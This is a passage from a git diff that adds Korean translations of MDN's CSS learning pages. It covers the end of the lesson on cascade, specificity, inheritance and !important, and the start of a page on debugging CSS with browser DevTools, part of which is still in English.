+ <li>요소 선택자는 덜 구체적입니다 — 페이지에 나타나는 해당 유형의 모든 요소를 선택하므로 — 점수가 낮아집니다.</li>
+ <li>class 선택자는 보다 구체적입니다 — 특정 <code>class</code> 속성 값이 있는 페이지의 요소만 선택하므로 — 점수가 높아집니다.</li>
+</ul>
+
+<p>시간 예제! 아래에는 <code>h1</code> 에 적용할 수 있는 두 가지 규칙이 다시 있습니다. 아래 <code>h1</code> 은 빨간색으로 표시 됩니다 — class 선택자는 규칙에 더 높은 우선 순위를 부여하므로 요소 선택자가 있는 규칙은 소스 순서에서 더 아래에 표시 되더라도 적용됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} </p>
+
+<p>우선 순위 점수 및 기타 사항에 대해서는 나중에 설명하겠습니다.</p>
+
+<h3 id="상속_Inheritance">상속 (Inheritance)</h3>
+
+<p>상속은 이 맥락에서 이해되어야 합니다 — 부모 요소에서 설정된 일부 CSS 속성 값은 자식 요소에 의해 상속되며, 일부는 그렇지 않습니다.</p>
+
+<p>예를 들어, 요소에 <code>color</code> 및 <code>font-family</code> 를 설정하면, 다른 색상 및 글꼴 값을 직접 적용하지 않는 한, 해당 요소 내부의 모든 요소에도 해당 색상 및 글꼴로 스타일이 지정됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} </p>
+
+<p>일부 속성은 상속되지 않습니다 — 예를 들어 요소에 {{cssxref("width")}} 를 50% 로 설정하면, 모든 하위 항목의 너비가 부모 너비의 50% 가 되지 않습니다. 이 경우, CSS 는 사용하기가 매우 어려울 것입니다!</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: MDN CSS 속성 참조 페이지에서 일반적으로 specifications 섹션의 맨 아래에 기술 정보 박스가 있습니다. 여기에는 해당 속성의 상속 여부를 포함하여 해당 속성에 대한 여러 데이터 요소가 나열되어 있습니다. 예를 들어, <a href="/en-US/docs/Web/CSS/color#Specifications">color 속성 Specifications 섹션</a> 을 참조 하십시오.</p>
+</div>
+
+<h2 id="개념이_함께_작동하는_방식_이해하기">개념이 함께 작동하는 방식 이해하기</h2>
+
+<p>이 세 가지 개념은 어떤 CSS 가 어떤 요소에 적용되는지를 함께 제어합니다. 아래 섹션에서 우리는 그들이 어떻게 함께 작동하는지 볼 것입니다. 때로는 약간 복잡해 보일 수 있지만, CSS 에 익숙해지면 기억하기 시작하고 잊어 버린 경우, 항상 세부 정보를 찾을 수 있습니다! 숙련된 개발자 조차도 모든 세부 사항을 기억하지 못합니다.</p>
+
+<h2 id="상속_이해하기">상속 이해하기</h2>
+
+<p>상속부터 시작하겠습니다. 아래 예에서는 {{HTMLElement("ul")}} 이 있으며, 그 안에 순서가 없는 두 가지 수준의 목록이 있습니다. 외부 <code>&lt;ul&gt;</code> 에 테두리, 패딩 및 글꼴 색상을 지정했습니다.</p>
+
+<p>색상은 직접 자식 항목 뿐만 아니라 간접 자식 항목 (직접 자식 <code>&lt;li&gt;</code>) 및 첫 번째 중첩 목록에 있는 자식 항목에도 적용됩니다. 그런 다음 두 번째 중첩 목록에 <code>special</code> class 를 추가하고 다른 색상을 적용했습니다. 그런 다음 자식을 통해 상속됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} </p>
+
+<p>너비 (위에서 언급 한 것처럼), 마진, 패딩 및 테두리와 같은 것은 상속되지 않습니다. 만약 우리 목록의 자식들이 테두리를 물려 받았다면, 모든 단일 목록과 목록 항목은 테두리를 얻게 될 것입니다 — 아마도 우리가 원하는 효과는 아닙니다!</p>
+
+<p>기본적으로 상속되는 속성과 그렇지 않은 속성은 대체로 상식적입니다.</p>
+
+<h3 id="상속_제어하기">상속 제어하기</h3>
+
+<p>CSS 는 상속을 제어하기 위한 4 가지 특수 범용 속성 값을 제공합니다. 모든 CSS 속성은 이러한 값을 허용합니다.</p>
+
+<dl>
+ <dt>{{cssxref("inherit")}}</dt>
+ <dd>선택한 요소에 적용된 속성 값을 부모 요소의 속성 값과 동일하게 설정합니다. 사실상, 이것은 "상속에 영향을 미칩니다".</dd>
+ <dt>{{cssxref("initial")}}</dt>
+ <dd>선택한 요소에 적용된 속성 값을 브라우저의 기본 스타일 시트에서 해당 요소의 해당 속성에 설정된 값과 동일하게 설정합니다. 브라우저의 기본 스타일 시트에서 값을 설정하지 않고 속성이 자연스럽게 상속되면 속성 값이 대신 <code>inherit</code> 되도록 설정됩니다.</dd>
+ <dt>{{cssxref("unset")}}</dt>
+ <dd>속성을 natural 값으로 재설정 합니다. 즉, 속성이 자연적으로 상속되면 <code>inherit</code> 된 것처럼 작동하고 그렇지 않으면 <code>initial</code> 처럼 작동합니다.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 브라우저 지원이 제한된 새로운 값인 {{cssxref("revert")}} 도 있습니다.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 각각에 대한 자세한 내용과 작동 방식에 대한 자세한 내용은 {{SectionOnPage("/en-US/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} 를 참조하십시오.</p>
+</div>
+
+<p>우리는 링크 목록을 보고 보편적 가치가 어떻게 작용하는지 탐구할 수 있습니다. 아래의 라이브 예제를 사용하면 CSS 를 사용하여 변경 작업을 수행할 수 있습니다. 코드를 가지고 노는 것이 HTML 과 CSS 를 이해하는 가장 좋은 방법입니다.</p>
+
+<p>예를 들면:</p>
+
+<ol>
+ <li>두 번째 목록 항목에는 <code>my-class-1</code> class 가 적용되었습니다. 내부에 중첩된 <code>&lt;a&gt;</code> 요소의 색상을 상속하도록 설정합니다. 규칙을 제거하면 링크 색상이 어떻게 변경됩니까?</li>
+ <li>왜 세 번째 와 네 번째 링크가 그 색깔인지 이해합니까? 그렇치 않은 경우 위의 값에 대한 설명을 확인하십시오.</li>
+ <li><code>&lt;a&gt;</code> 요소에 대해 — 예를 들어 <code>a { color: red; }</code> 와 같은 새 색상을 정의하는 경우 어떤 링크가 색상이 변경됩니까?</li>
+</ol>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} </p>
+
+<h3 id="모든_속성_값_재설정">모든 속성 값 재설정</h3>
+
+<p>CSS 속기 속성을 <code>all</code> 로 사용하면 이러한 상속 값 중 하나를 (거의) 모든 속성에 한 번에 적용할 수 있습니다. 이 값은 상속 값 (<code>inherit</code>, <code>initial</code>, <code>unset</code> 또는 <code>revert</code>) 중 하나일 수 있습니다. 스타일에 대한 변경 사항을 취소하여 새로운 변경을 시작하기 전에 알려진 시작 지점으로 돌아갈 수 있는 편리한 방법입니다.</p>
+
+<p>아래 예제에는 두 개의 인용문이 있습니다. 첫 번째는 인용문 자체에 스타일을 적용하고 두 번째는 <code>all</code> 값을 <code>unset</code> 하도록 인용문에 적용된 class 를 갖습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} </p>
+
+<p><code>all</code> 의 값을 사용 가능한 다른 값 중 일부로 설정하고 차이가 무엇인지 관찰하십시오.</p>
+
+<h2 id="계단식_cascade_이해하기">계단식 (cascade) 이해하기</h2>
+
+<p>이제 HTML 구조에 깊게 중첩된 단락이 본문에 적용된 CSS 와 동일한 색상인 이유를 이해하고, 소개 수업에서 문서의 어느 시점에서는 CSS 를 변경하는 방법에 대해 이해합니다 — 요소에 CSS 를 할당하거나 class 를 만들지 여부. 이제 여러 요소가 요소를 스타일링 할 수 있는 경우, CSS 에서 적용할 CSS 규칙을 어떻게 정의하는지 계단식 (cascade) 에 대해 올바르게 살펴보겠습니다.</p>
+
+<p>여기에는 중요도의 내림차순으로 나열된 세 가지 요소가 있습니다. 이전의 것들은 다음 것보다 우선합니다:</p>
+
+<ol>
+ <li><strong>Importance</strong></li>
+ <li><strong>우선 순위</strong></li>
+ <li><strong>소스 순서</strong></li>
+</ol>
+
+<p>브라우저가 CSS 를 정확히 적용하는 방법을 어떻게 파악하는지 아래부터 위로 살펴보겠습니다.</p>
+
+<h3 id="소스_순서">소스 순서</h3>
+
+<p>우리는 이미 소스 순서가 계단식 (cascade) 에 어떻게 중요한지를 보았습니다. 정확히 동일한 가중치를 갖는 규칙이 두 개 이상인 경우, CSS 에서 마지막에 오는 규칙이 우선합니다. 이것을 요소 자체가 마지막 요소가 승리하고 요소를 스타일링 할 때까지 초기 요소를 덮어 쓰는 규칙에 가깝다고 생각할 수 있습니다.</p>
+
+<h3 id="우선_순위_Specificity_2">우선 순위 (Specificity)</h3>
+
+<p>소스 순서가 중요하다는 사실을 이해하면, 어느 시점에서 규칙이 스타일 시트에서 나중에 나오지만 이전의 충돌하는 규칙이 적용되는 상황이 발생합니다. 이는 이전 규칙이 더 <strong>높은 우선 순위</strong>를 갖기 때문입니다 — 보다 구체적이기 때문에, 브라우저에서 요소를 스타일해야 하는 규칙으로 선택하고 있습니다.</p>
+
+<p>이 수업의 앞부분에서 살펴본 것처럼, class 선택자는 요소 선택자보다 가중치가 높으므로, class 에 정의된 속성이 요소에 직접 적용된 속성보다 우선합니다.</p>
+
+<p>여기서 주목할 점은 선택자 및 선택한 항목에 적용되는 규칙에 대해 생각하고 있지만, 덮어 쓰는 전체 규칙이 아니라 동일한 속성일 뿐입니다.</p>
+
+<p>이 동작은 CSS 에서 반복을 피하는 데 도움이 됩니다. 일반적인 방법은 기본 요소의 일반 스타일을 정의한 다음, 다른 요소에 대한 class 를 작성하는 것입니다. 예를 들어, 아래 스타일 시트에서 h2 제목에 대한 일반 스타일을 정의한 다음, 일부 속성과 값만 변경하는 class 를 만들었습니다. 처음에 정의된 값은 모든 표제에 적용되며, 보다 구체적인 값은 class 가 있는 표제에 적용됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} </p>
+
+<p>이제 브라우저가 우선 순위 (specificity) 를 계산하는 방법을 살펴보겠습니다. 우리는 이미 요소 선택자가 우선 순위가 낮으며 class 가 덮어 쓸 수 있음을 알고 있습니다. 기본적으로 포인트 단위의 가치가 다른 유형의 선택자에 부여되며, 이를 합산하면 특정 선택자의 가중치가 부여되며, 이는 다른 잠재적 일치 항목에 대해 평가할 수 있습니다.</p>
+
+<p>선택자의 우선 순위는 4개의 다른 값 (또는 구성 요소) 을 사용하여 측정되며, 이는 4개의 열에서 Thousands, Hundreds, Tens 및 Ones<strong> </strong>개의 단일 자릿수로 간주될 수 있습니다.</p>
+
+<ol>
+ <li><strong>Thousands</strong>: 선언이 인라인 스타일인 {{htmlattrxref("style")}} 속성 안에 있으면, 열에서 1점을 얻습니다. 이러한 선언에는 선택자가 없으므로 그 우선 순위는 항상 1000 입니다.</li>
+ <li><strong>Hundreds</strong>: 전체 선택자에 포함된 각 ID 선택자에 대해 이 열에서 1점을 얻습니다.</li>
+ <li><strong>Tens</strong>: 이 선택란에서 전체 선택자 내에 포함된 각 class 선택자, 속성 선택자 또는 pseudo-class 에 대해 이 열에서 1점을 얻습니다.</li>
+ <li><strong>Ones</strong>: 이 항목에서 각 요소 선택자 또는 전체 선택자 내에 포함된 pseudo-element 에 대해 1점을 얻습니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 범용 선택자 (<code>*</code>), 결합자 (<code>+</code>, <code>&gt;</code>, <code>~</code>, ' ') 및 부정 pseudo-class (<code>:not</code>) 는 우선 순위에 영향을 미치지 않습니다.</p>
+</div>
+
+<p>다음 표는 기분을 전환하기 위해 몇 가지 분리된 예를 보여줍니다. 이것들을 살펴보고 왜 그들이 우리에게 그들에게 주어진 우선 순위를 가지고 있는지 이해하도록 하십시오. 선택자는 아직 자세히 다루지 않았지만, MDN <a href="/en-US/docs/Web/CSS/CSS_Selectors">선택자 참조</a> 에서 각 선택자의 세부 정보를 찾을 수 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">선택자</th>
+   <th scope="col">Thousands</th>
+   <th scope="col">Hundreds</th>
+   <th scope="col">Tens</th>
+   <th scope="col">Ones</th>
+   <th scope="col">Total specificity</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>h1</code></td>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+   <td>1</td>
+   <td>0001</td>
+  </tr>
+  <tr>
+   <td><code>h1 + p::first-letter</code></td>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+   <td>3</td>
+   <td>0003</td>
+  </tr>
+  <tr>
+   <td><code>li &gt; a[href*="en-US"] &gt; .inline-warning</code></td>
+   <td>0</td>
+   <td>0</td>
+   <td>2</td>
+   <td>2</td>
+   <td>0022</td>
+  </tr>
+  <tr>
+   <td><code>#identifier</code></td>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+   <td>0100</td>
+  </tr>
+  <tr>
+   <td>요소의 {{htmlattrxref("style")}} 속성 안에 규칙이 있는 선택자가 없습니다</td>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+   <td>1000</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>계속 진행하기 전에, 실제 사례를 살펴보겠습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} </p>
+
+<p>우선, 우리는 이 예제의 처음 7개 규칙에만 관심이 있으며, 앞으로 알 수 있듯이 각 규칙 앞에 주석에 우선 순위 값을 포함 시켰습니다.</p>
+
+<ul>
+ <li>처음 두 선택자는 링크의 배경색 스타일링을 놓고 경쟁합니다  — 두 번째 선택자는 추가 ID 선택자가 있기 때문에 이기고 배경색을 파란색으로 만듭니다: 우선 순위는 201 vs 101 입니다.</li>
+ <li>세 번째와 네 번째 선택자는 링크의 텍스트 색상 스타일링을 놓고 경쟁하고 있습니다 — 두 번째 선택자는 이기고 텍스트는 흰색으로 만듭니다. 왜냐하면 한 개의 요소 선택자가 더 적지만, 누락된 선택자는 10배의 가치가 있는 class 선택자로 교체되기 때문입니다. 그래서 승자의 우선 순위는 113 vs 104 입니다.</li>
+ <li>선택자 5–7 은 마우스를 가져 가면 링크의 테두리 스타일을 놓고 경쟁합니다. 선택자 6은 23 vs 24 의 우선 순위로 5점이 확실히 손실됩니다 — 요소 선택자가 하나 더 적습니다. 선택자 7은 5 와 6을 모두 능가합니다 — 5와 동일한 수의 자식 선택자가 있지만, 한 요소는 class 선택자로 교체되었습니다. 따라서 승자의 우선 순위는 33 vs 23 및 24 입니다.</li>
+</ul>
+
+<ol>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 이것은 이해를 돕기위한 대략적인 예일뿐입니다. 실제로 각 선택자 유형에는 고유한 순위가 있으며, 낮은 우선 순위의 선택자로 덮어쓸 수 없습니다. 예를 들어, <em>백 만</em> 개의 <strong>class</strong> 선택자가 결합되어도 <em>하나 </em>의 <strong>id</strong> 선택자의 규칙을 겹쳐쓸 수 없습니다.</p>
+
+<p>우선 순위를 평가하는 보다 정확한 방법은 우선 순위를 개별적으로 최고에서 시작하여 필요할 때 최저로 평가하는 것입니다. 특정 순위 내에서 선별 점수 사이에 동점이 있을 때만 다음 수준을 평가해야 합니다. 그렇지 않으면, 낮은 우선 순위 선택자는 높은 우선 순위를 덮어쓸 수 없으므로 무시할 수 있습니다.</p>
+</div>
+
+<h3 id="!important">!important</h3>
+
+<p>위의 모든 계산을 무효화하는 데 사용할 수 있는 특별한 CSS 가 있지만, 중요하게 사용해야 합니다 — <code>!important</code>. 이것은 특정 속성과 가치를 가장 구체적으로 만들어 계단식 (cascade) 의 일반적인 규칙을 무시하는 데 사용됩니다.</p>
+
+<p>두 개의 단락이 있고, 하나에 ID 가 있는 이 예를 살펴보십시오.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} </p>
+
+<p>이 과정을 통해 어떤 일이 일어나고 있는지 살펴보겠습니다 — 이해하기 어려운 경우 어떤 일이 발생하는지 확인하려면 일부 속성을 제거해 보십시오:</p>
+
+<ol>
+ <li>세 번째 규칙의 {{cssxref("color")}} 및 {{cssxref("padding")}} 값이 적용되었지만, {{cssxref("background-color")}} 가 적용되었음을 알 수 있습니다. 왜죠? 소스 순서 후반의 규칙은 일반적으로 이전 규칙보다 우선하기 때문에 세 가지 모두가 반드시 적용되어야 합니다.</li>
+ <li>그러나, class 선택자는 요소 선택자보다 높은 우선 순위에 있기 때문에 위의 규칙이 우선합니다.</li>
+ <li>두 요소 모두 {{htmlattrxref("class")}} 가 <strong><code>더 우수</code></strong> 하지만,  두 번째 요소는 {{htmlattrxref("id")}} 도 <strong><code>이기고</code></strong> 있습니다. ID 는 classe 보다 우선 순위가 <em>더 높기</em>  때문에 페이지에서 각 고유 ID 를 가진 요소는 하나만 가질 수 있지만, class 는 같은 요소가 많습니다 — ID 선택자는 대상에 따라 <strong><em>매우 다릅니다</em>.</strong>  빨간색 배경색과 1 px 검은색 테두리를 두 번째 요소에 적용해야 합니다. 첫 번째 요소는 회색 배경색을 가져오고 class 에서 지정한대로 테두리가 없습니다.</li>
+ <li>두 번째 요소는 빨간색 배경색을 얻지만, 테두리는 없습니다. 왜일까요? 두 번째 규칙의 <code>!important</code> 선언으로 인해 — <code>border: none</code> 뒤에 이것을 포함하면 ID 가 더 높은 우선 순위에도 불구하고 이 선언이 이전 규칙의 테두리 값 보다 우선함을 의미합니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 이 <code>!important</code> 선언을 재정의하는 유일한 방법은 소스 순서에서 나중에 같은 우선 순위를 가진 선언에 또는 다른 고유한 선언에 다른 <code>!important</code> 선언을 포함시키는 것입니다.</p>
+</div>
+
+<p><code>!important</code> 가 존재한다는 것을 아는 것이 도움이 되므로 다른 사람들의 코드에서 그것을 발견할 때 그 의미를 알 수 있습니다. <strong>그러나, 반드시 필요한 경우가 아니면 절대 사용하지 않는 것이 좋습니다. </strong><code>!important</code> 는 계단식이 정상적으로 작동하는 방식을 변경하므로, CSS 스타일 문제를 해결하기가 어렵습니다. 특히 큰 스타일 시트에서.</p>
+
+<p>핵심 CSS modules 을 편집할 수 없는 CMS 에서 작업할 때, 다른 방법으로는 재정의 할 수 없는 스타일을 재정의 하려는 경우에 사용할 수도 있습니다. 그러나 실제로 피할 수 있다면 사용하지 마십시오.</p>
+
+<h2 id="CSS_위치의_영향">CSS 위치의 영향</h2>
+
+<p>마지막으로, CSS 선언의 중요성은 지정된 스타일 시트에 따라 다릅니다 — 사용자가 스타일 시트를 설정하여 개발자의 스타일을 재정의할 수 있습니다. 예를 들어, 사용자가 시각 장애인일 수 있으며, 쉽게 읽을 수 있도록 방문하는 모든 웹 페이지의 글꼴 크기를 일반 크기의 두 배로 설정하려고 합니다.</p>
+
+<h2 id="요약하자면">요약하자면</h2>
+
+<p>충돌 선언은 다음 순서로 적용되며, 이후 선언은 이전 선언보다 우선합니다:</p>
+
+<ol>
+ <li>사용자 에이전트 스타일 시트의 선언 (예: 다른 스타일이 설정되지 않은 경우 사용되는 브라우저의 기본 스타일).</li>
+ <li>사용자 스타일 시트의 일반 선언 (사용자가 설정한 사용자 정의 스타일).</li>
+ <li>작성자 스타일 시트의 일반적인 선언 (웹 개발자가 설정한 스타일).</li>
+ <li>작성자 스타일 목록에서 중요한 선언</li>
+ <li>사용자 스타일 시트의 중요한 선언</li>
+</ol>
+
+<p>웹 개발자의 스타일 시트는 사용자 스타일 시트를 재정의 하는것이 합리적이므로 디자인을 의도한대로 유지할 수 있지만, 사용자는 위에서 언급한 것처럼 웹 개발자 스타일을 재정의 해야 할 충분한 이유가 있습니다 — 이는 규칙에서 <code>important</code> 를 사용하여 달성할 수 있습니다.</p>
+
+<h2 id="적극적인_학습_계단식_게임입니다">적극적인 학습: 계단식 게임입니다</h2>
+
+<p>이 적극적인 학습에서는, 기본적으로 링크에 적용한 색상 및 배경색을 재정의하는 새로운 규칙 하나를 작성하여 실험해 보고자 합니다. {{anch("상속 제어")}} 섹션에서 살펴본 특수값 중 하나를 사용하여 실제 색상값을 사용하지 않고 배경색상을 다시 흰색으로 재설정하는 새 규칙에 선언을 작성할 수 있습니까?</p>
+
+<p>실수한 경우 언제든지 <em>재설정</em>  버튼을 사용하여 재설정 할 수 있습니다. 정말로 막힌다면, <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-cascade">여기에서 해결책을 살펴 보십시오</a>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/task.html", '100%', 700)}}</p>
+
+<h2 id="다음은_뭐죠">다음은 뭐죠</h2>
+
+<p>이 기사의 대부분을 이해했다면, 잘 끝났습니다 — CSS 의 기본 메커니즘에 익숙해지기 시작했습니다. 다음으로 선택자를 자세히 살펴보겠습니다.</p>
+
+<p>계단식, 우선 순위 및 상속을 완전히 이해하지 못했다면, 걱정하지 마십시오! 이것은 지금까지 우리가 다루었던 가장 복잡한 내용이며, 전문 웹 개발자 조차도 까다로워하는 부분입니다. 강의를 계속 진행하면서, 이 기사를 몇 차례 다시 읽고 계속 생각하는 것이 좋습니다.</p>
+
+<p>스타일이 예상대로 적용되지 않는 이상한 문제가 발생하면 여기를 다시 참조 하십시오. 우선 순위 문제일 수 있습니다.</p>
+
+<p>{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflowing</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값 과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/debugging_css/index.html b/files/ko/learn/css/building_blocks/debugging_css/index.html
new file mode 100644
index 0000000000..bf8badc26b
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/debugging_css/index.html
@@ -0,0 +1,200 @@
+---
+title: CSS 디버깅
+slug: Learn/CSS/Building_blocks/Debugging_CSS
+translation_of: Learn/CSS/Building_blocks/Debugging_CSS
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</div>
+
+<p>때로는 CSS 를 작성할 때 CSS 가 예상한 대로 동작하지 않는 문제가 발생합니다. 아마도 특정 선택자가 요소와 일치해야 하지만, 아무일도 일어나지 않거나 박스의 크기가 예상과 다릅니다. 이 기사에서는 CSS 문제를 디버깅하는 방법에 대한 지침을 제공하고 모든 최신 브라우저에 포함된 DevTools 가 진행 상황을 찾는 데 어떻게 도움이 되는지 보여줍니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>
+    <p>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>브라우저 DevTools 의 기본 사항과 CSS 의 간단한 검사 및 편집방법 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_개발자_도구_DevTools_사용_방법">브라우저 개발자 도구 (DevTools) 사용 방법</h2>
+
+<p> <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">브라우저 개발자 도구란</a> 기사는 다양한 브라우저 및 플랫폼에서 도구를 사용하는 방법을 설명하는 최신 안내서입니다. 대부분 특정 브라우저에서 개발하도록 선택할 수 있으므로, 해당 브라우저에 포함된 도구에 가장 익숙해지지만, 다른 브라우저에서 해당 도구에 액세스하는 방법을 알아야합니다. 여러 브라우저간에 다른 렌더링이 표시되는 경우 도움이됩니다.</p>
+
+<p>또한 DevTools 를 작성할 때 브라우저가 다른 영역에 집중하도록 선택했음을 알 수 있습니다. 예를 들어, Firefox 에는 CSS 레이아웃으로 시각적으로 작업하기위한 훌륭한 도구가 있으며, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">그리드 레이아웃</a>, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a> 및 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Shapes</a> 를 검사하고 편집할 수 있습니다. 그러나, 모든 브라우저마다 유사한 기본 도구가 있습니다. 예: 페이지의 요소에 적용된 속성 및 값을 검사하고 편집기에서 변경하는 데 사용됩니다.</p>
+
+<p>이 수업에서는 CSS 작업을 위한 Firefox DevTools 의 유용한 기능을 살펴봅니다. 이를 위해 <a href="https://mdn.github.io/css-examples/learn/inspecting/inspecting.html">예제 파일</a> 을 사용하겠습니다. 따라하고 싶다면, 새 탭에 로드하고 위에 링크된 기사에 설명된대로 DevTools 를 여십시오.</p>
+
+<h2 id="DOM_vs_소스_보기">DOM vs 소스 보기</h2>
+
+<p>새로운 사용자를 개발자 도구 (DevTools) 로 체험할 수 있는 것은  웹 페이지의 <a href="/en-US/docs/Tools/View_source">소스 보기</a> 를 보거나 서버에 넣은 HTML 파일을 볼 때 표시되는 것과 개발자 도구의 <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">HTML 창</a>에서 볼 수 있는 것의 차이입니다. 소스 보기를 통해 볼 수 있는 것과 거의 비슷해 보이지만 몇 가지 차이점이 있습니다.</p>
+
+<p>렌더링 된 DOM 에서 브라우저가 잘못 작성된 HTML 를 수정했을 수 있습니다. <code>&lt;h2&gt;</code> 를 열고 <code>&lt;/h3&gt;</code>, 로 닫는 등의 요소를 잘못 닫은 경우, 브라우저는 수행하려는 작업을 파악하고 DOM 의 HTML 은 <code>&lt;h2&gt;</code> 를 <code>&lt;/h2&gt;</code> 로 올바르게 닫습니다. 또한 브라우저에서는 모든 HTML 를 표준화하고, DOM 은 JavaScript 로 변경한 내용도 표시합니다.</p>
+
+<p>소스 보기는 서버에 저장된 HTML 소스 코드입니다. 개발자 도구의 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML tree</a> 는 특정 시점에 브라우저가 렌더링하는 내용을 정확하게 보여주므로, 실제로 진행중인 상황에 대한 통찰력을 제공합니다.</p>
+
+<h2 id="적용된_CSS_검사">적용된 CSS 검사</h2>
+
+<p>페이지에서 요소를 마우스 오른쪽/ctrl 키를 누른 채 클릭하고 <em><strong>검사 (Inspect)</strong> </em>를 선택하거나, 개발자 도구 디스플레이 왼쪽의 HTML tree 에서 요소를 선택하십시오. <code>box1</code> class 의 요소를 선택하십시오; 이것은 테두리 박스가 그려진 페이지의 첫 번째 요소입니다.</p>
+
+<p><img alt="The example page for this tutorial with DevTools open." src="https://mdn.mozillademos.org/files/16606/inspecting1.png" style="border-style: solid; border-width: 1px; height: 1527px; width: 2278px;"></p>
+
+<p>If you look at the <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Rules view</a> to the right of your HTML, you should be able to see the CSS properties and values applied to that element. You will see the rules directly applied to class <code>box1</code> and also the CSS that is being inherited by the box from its ancestors, in this case to <code>&lt;body&gt;</code>. This is useful if you are seeing some CSS being applied that you didn't expect. Perhaps it is being inherited from a parent element and you need to add a rule to overwrite it in the context of this element.</p>
+
+<p>Also useful is the ability to expand out shorthand properties. In our example the <code>margin</code> shorthand is used.</p>
+
+<p><strong>Click on the little arrow to expand the view, showing the different longhand properties and their values.</strong></p>
+
+<p><strong>You can toggle values in the Rules view on and off, when that panel is active — if you hold your mouse over it checkboxes will appear. Uncheck a rule's checkbox, for example <code>border-radius</code>, and the CSS will stop applying.</strong></p>
+
